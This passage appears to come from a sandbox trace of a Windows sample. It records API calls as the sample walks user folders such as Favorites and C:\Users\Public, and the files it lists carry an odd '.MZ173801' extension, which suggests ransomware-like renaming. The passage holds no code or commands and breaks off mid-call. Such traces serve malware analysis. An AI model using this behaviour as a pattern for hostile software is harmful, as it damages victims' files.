cAlternateFileName="MSNSPO~1.MZ1")) returned 1 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6cbe6a0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSN.url.MZ173801", cAlternateFileName="MSNURL~1.MZ1")) returned 1 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url.MZ173801", cAlternateFileName="MSNBCN~1.MZ1")) returned 1 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6ce4800, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="MSNBC News.url.MZ173801", cAlternateFileName="MSNBCN~1.MZ1")) returned 0 [0144.320] GetLastError () returned 0x12 [0144.320] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.320] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0144.320] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.320] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.320] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.320] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d0a960, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Get Windows Live.url.MZ173801", cAlternateFileName="GETWIN~1.MZ1")) returned 1 [0144.321] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.321] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d0a960, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Gallery.url.MZ173801", cAlternateFileName="WINDOW~1.MZ1")) returned 1 [0144.321] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.321] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Mail.url.MZ173801", cAlternateFileName="WINDOW~2.MZ1")) returned 1 [0144.321] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.321] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url.MZ173801", cAlternateFileName="WINDOW~3.MZ1")) returned 1 [0144.321] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.321] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url.MZ173801", cAlternateFileName="WINDOW~3.MZ1")) returned 0 [0144.321] GetLastError () returned 0x12 [0144.321] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.321] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*.*", lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x2fc6c0 [0144.321] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f774 | out: lpLocalFileTime=0x18f774) returned 1 [0144.321] FileTimeToDosDateTime (in: lpFileTime=0x18f774, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0144.321] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.321] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.321] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d0a960, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Get Windows Live.url.MZ173801", cAlternateFileName="GETWIN~1.MZ1")) returned 1 [0144.321] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.321] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.322] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d0a960, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Gallery.url.MZ173801", cAlternateFileName="WINDOW~1.MZ1")) returned 1 [0144.322] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.322] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.322] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Mail.url.MZ173801", cAlternateFileName="WINDOW~2.MZ1")) returned 1 [0144.322] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.322] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.322] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url.MZ173801", cAlternateFileName="WINDOW~3.MZ1")) returned 1 [0144.322] FileTimeToLocalFileTime (in: lpFileTime=0x18f810, lpLocalFileTime=0x18f770 | out: lpLocalFileTime=0x18f770) returned 1 [0144.322] FileTimeToDosDateTime (in: lpFileTime=0x18f770, lpFatDate=0x18f7de, lpFatTime=0x18f7dc | out: lpFatDate=0x18f7de, lpFatTime=0x18f7dc) returned 1 [0144.322] FindNextFileW (in: hFindFile=0x2fc6c0, lpFindFileData=0x18f7fc | out: lpFindFileData=0x18f7fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Windows Live Spaces.url.MZ173801", cAlternateFileName="WINDOW~3.MZ1")) returned 0 [0144.322] GetLastError () returned 0x12 [0144.322] FindClose (in: hFindFile=0x2fc6c0 | out: hFindFile=0x2fc6c0) returned 1 [0144.322] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa6d30ac0, ftLastAccessTime.dwHighDateTime=0x1d60051, ftLastWriteTime.dwLowDateTime=0xa6d30ac0, ftLastWriteTime.dwHighDateTime=0x1d60051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdd33fa59, dwReserved1=0xa03bf443, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0144.322] GetLastError () returned 0x12 [0144.322] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.322] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f51c, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0144.322] GetFileAttributesW (lpFileName="C:\\Users\\Administrator" (normalized: "c:\\users\\administrator")) returned 0xffffffff [0144.322] GetLastError () returned 0x2 [0144.323] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f51c, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0144.323] GetFileAttributesW (lpFileName="C:\\Users\\Public" (normalized: "c:\\users\\public")) returned 0x11 [0144.323] GetEnvironmentVariableW (in: lpName="SYSTEMDRIVE", lpBuffer=0x18f51c, nSize=0x400 | out: lpBuffer="C:") returned 0x2 [0144.323] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0144.323] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.323] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recorded TV", cAlternateFileName="RECORD~1")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0144.323] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0144.324] GetLastError () returned 0x12 [0144.324] FindClose (in: hFindFile=0x2fc680 | out: hFindFile=0x2fc680) returned 1 [0144.324] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\*.*", lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fc680 [0144.324] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa40 | out: lpLocalFileTime=0x18fa40) returned 1 [0144.324] FileTimeToDosDateTime (in: lpFileTime=0x18fa40, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.324] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.324] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0144.324] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0144.324] FindNextFileW (in: 